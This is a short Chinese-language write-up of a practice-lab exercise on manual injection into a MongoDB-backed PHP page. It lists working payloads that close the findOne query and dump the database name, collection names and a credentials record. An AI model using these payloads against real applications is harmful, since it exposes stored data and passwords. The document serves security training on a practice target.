1. 程式人生 > 其它 >SQL手工注入MongoDB資料庫

SQL手工注入MongoDB資料庫

MongoDB語法跟其它資料庫有所區別
具體參考:https://www.runoob.com/mongodb/mongodb-query.html

環境

墨者靶場 SQL手工注入漏洞測試(MongoDB資料庫)

思路

題目程式碼給出了列名

如果語句這樣寫/new_list.php?id=1 order by 2

程式碼接收db.notice.findOne({'id':'1 order by 2'}); return data; 並沒有閉合,注入語句無法生效

想辦法閉合語句,檢視所有集合

注入語句

都是內建函式,注入語句改列名就行

構造簡單的連結測回顯:/new_list.php?id=1'}); return ({title:1,content:'2

爆庫: /new_list.php?id=1'}); return ({title:tojson(db),content:'1

爆表:/new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1

db.getCollectionNames()返回的是陣列,需要用tojson轉換為字串,並且mongodb函式區分大小寫


爆欄位:/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

db.Authority_confidential是當前用的表,find函式用於查詢,0是第一條資料,墨者第二條資料才是登入密碼,故而把find()[0]改為find()[1]